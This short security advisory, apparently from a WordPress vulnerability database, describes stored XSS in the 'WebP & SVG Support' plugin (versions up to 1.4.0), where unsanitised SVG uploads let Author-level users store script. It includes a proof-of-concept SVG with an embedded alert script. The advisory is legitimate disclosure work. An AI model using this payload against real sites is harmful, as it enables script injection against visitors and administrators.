WordPress Plugin Vulnerabilities
WebP & SVG Support <= 1.4.0 - Author+ Stored XSS via SVG
Description
The plugin does not sanitise uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads.
Proof of Concept
Upload an SVG with the following markup: ``` <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert("XSS"); </script> </svg> ``` Load the SVG and see the XSS.
